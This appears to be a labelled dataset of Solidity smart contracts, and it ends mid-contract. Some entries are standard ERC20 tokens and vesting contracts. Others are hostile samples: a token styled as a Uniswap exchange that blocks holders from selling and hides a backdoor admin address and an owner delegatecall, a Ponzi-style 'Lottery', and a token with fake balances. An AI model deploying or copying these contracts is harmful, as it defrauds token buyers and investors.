contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped);
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
}
contract ERC20Events {
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
}
contract ERC20 is ERC20Events {
function totalSupply() public view returns (uint);
function balanceOf(address guy) public view returns (uint);
function frozenFunds(address guy) public view returns (uint);
function allowance(address src, address guy) public view returns (uint);
function approve(address guy, uint wad) public returns (bool);
function transfer(address dst, uint wad) public returns (bool);
function transferFrom(
address src, address dst, uint wad
) public returns (bool);
}
contract DSTokenBase is ERC20, DSMath {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => uint256) _frozens;
mapping (address => mapping (address => uint256)) _approvals;
constructor(uint supply) public {
_balances[msg.sender] = supply;
_supply = supply;
}
function totalSupply() public view returns (uint) {
return _supply;
}
function balanceOf(address src) public view returns (uint) {
return _balances[src];
}
function frozenFunds(address src) public view returns (uint) {
return _frozens[src];
}
function allowance(address src, address guy) public view returns (uint) {
return _approvals[src][guy];
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
if (src != msg.sender) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint wad) public returns (bool) {
_approvals[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
}
contract DSToken is DSTokenBase(100000000000000000000000), DSStop {
string public symbol = "ICT";
uint8 public decimals = 18;
event Mint(address indexed guy, uint wad);
event Burn(address indexed guy, uint wad);
event Freeze(address indexed guy, uint wad);
function approve(address guy) public stoppable returns (bool) {
return super.approve(guy, uint(-1));
}
function approve(address guy, uint wad) public stoppable returns (bool) {
return super.approve(guy, wad);
}
function transferFrom(address src, address dst, uint wad)
public
stoppable
returns (bool)
{
require(_balances[src] - _frozens[src] >= wad);
if (src != msg.sender && _approvals[src][msg.sender] != uint(-1)) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function transferMulti(address[] dsts, uint wad) public auth returns (bool) {
require(dsts.length > 0);
require(_balances[msg.sender] - _frozens[msg.sender] >= wad*dsts.length);
for(uint32 i=0; i<dsts.length; i++){
transfer(dsts[i], wad);
}
return true;
}
function push(address dst, uint wad) public {
transferFrom(msg.sender, dst, wad);
}
function pull(address src, uint wad) public {
transferFrom(src, msg.sender, wad);
}
function move(address src, address dst, uint wad) public {
transferFrom(src, dst, wad);
}
function mint(uint wad) public {
mint(msg.sender, wad);
}
function burn(uint wad) public {
burn(msg.sender, wad);
}
function mint(address guy, uint wad) public auth stoppable {
_balances[guy] = add(_balances[guy], wad);
_supply = add(_supply, wad);
emit Mint(guy, wad);
}
function burn(address guy, uint wad) public auth stoppable {
if (guy != msg.sender && _approvals[guy][msg.sender] != uint(-1)) {
_approvals[guy][msg.sender] = sub(_approvals[guy][msg.sender], wad);
}
_balances[guy] = sub(_balances[guy], wad);
_supply = sub(_supply, wad);
emit Burn(guy, wad);
}
function freezeAccount(address guy, uint wad) public auth {
require(_balances[guy] >= wad);
_frozens[guy] = add(0, wad);
emit Freeze(guy, wad);
}
string public name = "Ideal China Token";
function setName(string name_) public auth {
name = name_;
}
function setSymbol(string symbol_) public auth {
symbol = symbol_;
}
} | 1 | 4,201 |
pragma solidity ^0.4.0;
interface ERC20 {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract Goo is ERC20 {
string public constant name = "ProofOfDev";
string public constant symbol = "DevToken";
uint8 public constant decimals = 0;
uint256 private roughSupply;
mapping(address => uint256) private gooBalance;
mapping(address => uint256) private lastGooSaveTime;
mapping(address => mapping(address => uint256)) private allowed;
function Goo() public payable {
roughSupply = 1;
gooBalance[msg.sender] = 1;
lastGooSaveTime[msg.sender] = block.timestamp;
}
function totalSupply() public constant returns(uint256) {
return roughSupply;
}
function balanceOf(address player) public constant returns(uint256) {
return gooBalance[player] + balanceOfUnclaimedGoo(player);
}
function balanceOfUnclaimedGoo(address player) internal constant returns (uint256) {
uint256 lastSave = lastGooSaveTime[player];
if (lastSave > 0 && lastSave < block.timestamp) {
return (1000 * (block.timestamp - lastSave)) / 100;
}
return 0;
}
function transfer(address recipient, uint256 amount) public returns (bool) {
require(amount <= gooBalance[msg.sender]);
gooBalance[msg.sender] -= amount;
gooBalance[recipient] += amount;
emit Transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address player, address recipient, uint256 amount) public returns (bool) {
require(amount <= allowed[player][msg.sender] && amount <= gooBalance[player]);
gooBalance[player] -= amount;
gooBalance[recipient] += amount;
allowed[player][msg.sender] -= amount;
emit Transfer(player, recipient, amount);
return true;
}
function approve(address approvee, uint256 amount) public returns (bool){
allowed[msg.sender][approvee] = amount;
emit Approval(msg.sender, approvee, amount);
return true;
}
function allowance(address player, address approvee) public constant returns(uint256){
return allowed[player][approvee];
}
} | 0 | 1,964 |
pragma solidity 0.4.24;
contract ERC20TokenInterface {
function totalSupply () external constant returns (uint);
function balanceOf (address tokenOwner) external constant returns (uint balance);
function transfer (address to, uint tokens) external returns (bool success);
function transferFrom (address from, address to, uint tokens) external returns (bool success);
}
library SafeMath {
function mul (uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
function div (uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub (uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add (uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
return c;
}
}
contract DreamTokensVesting {
using SafeMath for uint256;
ERC20TokenInterface public dreamToken;
address public withdrawAddress;
struct VestingStage {
uint256 date;
uint256 tokensUnlockedPercentage;
}
VestingStage[5] public stages;
uint256 public vestingStartTimestamp = 1529429400;
uint256 public initialTokensBalance;
uint256 public tokensSent;
event Withdraw(uint256 amount, uint256 timestamp);
modifier onlyWithdrawAddress () {
require(msg.sender == withdrawAddress);
_;
}
constructor (ERC20TokenInterface token, address withdraw) public {
dreamToken = token;
withdrawAddress = withdraw;
initVestingStages();
}
function () external {
withdrawTokens();
}
function getAvailableTokensToWithdraw () public view returns (uint256 tokensToSend) {
uint256 tokensUnlockedPercentage = getTokensUnlockedPercentage();
if (tokensUnlockedPercentage >= 100) {
tokensToSend = dreamToken.balanceOf(this);
} else {
tokensToSend = getTokensAmountAllowedToWithdraw(tokensUnlockedPercentage);
}
}
function getStageAttributes (uint8 index) public view returns (uint256 date, uint256 tokensUnlockedPercentage) {
return (stages[index].date, stages[index].tokensUnlockedPercentage);
}
function initVestingStages () internal {
stages[0].date = vestingStartTimestamp;
stages[1].date = vestingStartTimestamp + 1 hours;
stages[2].date = vestingStartTimestamp + 13 hours + 30 minutes;
stages[3].date = vestingStartTimestamp + 14 hours + 30 minutes;
stages[4].date = vestingStartTimestamp + 15 hours + 30 minutes;
stages[0].tokensUnlockedPercentage = 25;
stages[1].tokensUnlockedPercentage = 50;
stages[2].tokensUnlockedPercentage = 75;
stages[3].tokensUnlockedPercentage = 88;
stages[4].tokensUnlockedPercentage = 100;
}
function withdrawTokens () onlyWithdrawAddress private {
if (initialTokensBalance == 0) {
setInitialTokensBalance();
}
uint256 tokensToSend = getAvailableTokensToWithdraw();
sendTokens(tokensToSend);
}
function setInitialTokensBalance () private {
initialTokensBalance = dreamToken.balanceOf(this);
}
function sendTokens (uint256 tokensToSend) private {
if (tokensToSend > 0) {
tokensSent = tokensSent.add(tokensToSend);
dreamToken.transfer(withdrawAddress, tokensToSend);
emit Withdraw(tokensToSend, now);
}
}
function getTokensAmountAllowedToWithdraw (uint256 tokensUnlockedPercentage) private view returns (uint256) {
uint256 totalTokensAllowedToWithdraw = initialTokensBalance.mul(tokensUnlockedPercentage).div(100);
uint256 unsentTokensAmount = totalTokensAllowedToWithdraw.sub(tokensSent);
return unsentTokensAmount;
}
function getTokensUnlockedPercentage () private view returns (uint256) {
uint256 allowedPercent;
for (uint8 i = 0; i < stages.length; i++) {
if (now >= stages[i].date) {
allowedPercent = stages[i].tokensUnlockedPercentage;
}
}
return allowedPercent;
}
}
contract TeamsAndTournamentOrganizersVesting is DreamTokensVesting {
constructor(ERC20TokenInterface token, address withdraw) DreamTokensVesting(token, withdraw) public {}
} | 1 | 2,245 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Lottery {
using SafeMath for uint256;
uint256 constant public ONE_HUNDRED_PERCENTS = 10000;
uint256[] public DAILY_INTEREST = [111, 133, 222, 333, 444];
uint256 public MARKETING_AND_TEAM_FEE = 1000;
uint256 public referralPercents = 1000;
uint256 constant public MAX_DIVIDEND_RATE = 25000;
uint256 constant public MINIMUM_DEPOSIT = 100 finney;
uint256 public wave = 0;
struct Deposit {
uint256 amount;
uint256 interest;
uint256 withdrawedRate;
}
struct User {
address referrer;
uint256 referralAmount;
uint256 firstTime;
uint256 lastPayment;
Deposit[] deposits;
uint256 referBonus;
}
address public marketingAndTeam = 0xFaea7fa229C29526698657e7Ab7063E20581A50c;
address public owner = 0x4e3e605b9f7b333e413E1CD9E577f2eba447f876;
mapping(uint256 => mapping(address => User)) public users;
event InvestorAdded(address indexed investor);
event ReferrerAdded(address indexed investor, address indexed referrer);
event DepositAdded(address indexed investor, uint256 indexed depositsCount, uint256 amount);
event UserDividendPayed(address indexed investor, uint256 dividend);
event DepositDividendPayed(address indexed investor, uint256 indexed index, uint256 deposit, uint256 totalPayed, uint256 dividend);
event FeePayed(address indexed investor, uint256 amount);
event BalanceChanged(uint256 balance);
event NewWave();
function() public payable {
if(msg.value == 0) {
withdrawDividends();
return;
}
doInvest();
}
function withdrawDividends() internal {
uint256 dividendsSum = getDividends(msg.sender);
require(dividendsSum > 0);
if (address(this).balance <= dividendsSum) {
wave = wave.add(1);
dividendsSum = address(this).balance;
emit NewWave();
}
msg.sender.transfer(dividendsSum);
emit UserDividendPayed(msg.sender, dividendsSum);
emit BalanceChanged(address(this).balance);
}
function getDividends(address wallet) internal returns(uint256 sum) {
User storage user = users[wave][wallet];
for (uint i = 0; i < user.deposits.length; i++) {
uint256 withdrawRate = dividendRate(msg.sender, i);
user.deposits[i].withdrawedRate = user.deposits[i].withdrawedRate.add(withdrawRate);
sum = sum.add(user.deposits[i].amount.mul(withdrawRate).div(ONE_HUNDRED_PERCENTS));
emit DepositDividendPayed(
msg.sender,
i,
user.deposits[i].amount,
user.deposits[i].amount.mul(user.deposits[i].withdrawedRate.div(ONE_HUNDRED_PERCENTS)),
user.deposits[i].amount.mul(withdrawRate.div(ONE_HUNDRED_PERCENTS))
);
}
user.lastPayment = now;
sum = sum.add(user.referBonus);
user.referBonus = 0;
}
function dividendRate(address wallet, uint256 index) internal view returns(uint256 rate) {
User memory user = users[wave][wallet];
uint256 duration = now.sub(user.lastPayment);
rate = user.deposits[index].interest.mul(duration).div(1 days);
uint256 leftRate = MAX_DIVIDEND_RATE.sub(user.deposits[index].withdrawedRate);
rate = min(rate, leftRate);
}
function doInvest() internal {
uint256 investment = msg.value;
require (investment >= MINIMUM_DEPOSIT);
User storage user = users[wave][msg.sender];
if (user.firstTime == 0) {
user.firstTime = now;
user.lastPayment = now;
emit InvestorAdded(msg.sender);
}
if (user.referrer == address(0) && msg.data.length == 20 && user.firstTime == now) {
address newReferrer = _bytesToAddress(msg.data);
if (newReferrer != address(0) && newReferrer != msg.sender && users[wave][newReferrer].firstTime > 0) {
user.referrer = newReferrer;
emit ReferrerAdded(msg.sender, newReferrer);
}
}
if (user.referrer != address(0)) {
uint256 refAmount = investment.mul(referralPercents).div(ONE_HUNDRED_PERCENTS);
users[wave][user.referrer].referralAmount = users[wave][user.referrer].referralAmount.add(investment);
users[wave][user.referrer].referBonus = users[wave][user.referrer].referBonus.add(refAmount);
}
investment = investment.add(getDividends(msg.sender));
user.deposits.push(Deposit({
amount: investment,
interest: getUserInterest(msg.sender),
withdrawedRate: 0
}));
emit DepositAdded(msg.sender, user.deposits.length, investment);
uint256 marketingAndTeamFee = msg.value.mul(MARKETING_AND_TEAM_FEE).div(ONE_HUNDRED_PERCENTS);
marketingAndTeam.transfer(marketingAndTeamFee);
emit FeePayed(msg.sender, marketingAndTeamFee);
emit BalanceChanged(address(this).balance);
}
function getUserInterest(address wallet) public view returns (uint256) {
User memory user = users[wave][wallet];
if (user.referralAmount < 1 ether) {
if(user.referrer == address(0)) return DAILY_INTEREST[0];
return DAILY_INTEREST[1];
} else if (user.referralAmount < 10 ether) {
return DAILY_INTEREST[2];
} else if (user.referralAmount < 20 ether) {
return DAILY_INTEREST[3];
} else {
return DAILY_INTEREST[4];
}
}
function _bytesToAddress(bytes data) private pure returns(address addr) {
assembly {
addr := mload(add(data, 20))
}
}
function min(uint256 a, uint256 b) internal pure returns(uint256) {
if(a < b) return a;
return b;
}
function dividendsSumForUser(address wallet) external view returns(uint256 dividendsSum) {
User memory user = users[wave][wallet];
for (uint i = 0; i < user.deposits.length; i++) {
uint256 withdrawAmount = user.deposits[i].amount.mul(dividendRate(wallet, i)).div(ONE_HUNDRED_PERCENTS);
dividendsSum = dividendsSum.add(withdrawAmount);
}
dividendsSum = dividendsSum.add(user.referBonus);
dividendsSum = min(dividendsSum, address(this).balance);
}
function changeInterest(uint256[] interestList) external {
require(address(msg.sender) == owner);
DAILY_INTEREST = interestList;
}
function changeTeamFee(uint256 feeRate) external {
require(address(msg.sender) == owner);
MARKETING_AND_TEAM_FEE = feeRate;
}
function virtualInvest(address from, uint256 amount) public {
require(address(msg.sender) == owner);
User storage user = users[wave][from];
if (user.firstTime == 0) {
user.firstTime = now;
user.lastPayment = now;
emit InvestorAdded(from);
}
amount = amount.add(getDividends(from));
user.deposits.push(Deposit({
amount: amount,
interest: getUserInterest(from),
withdrawedRate: 0
}));
emit DepositAdded(from, user.deposits.length, amount);
}
} | 0 | 383 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,685 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
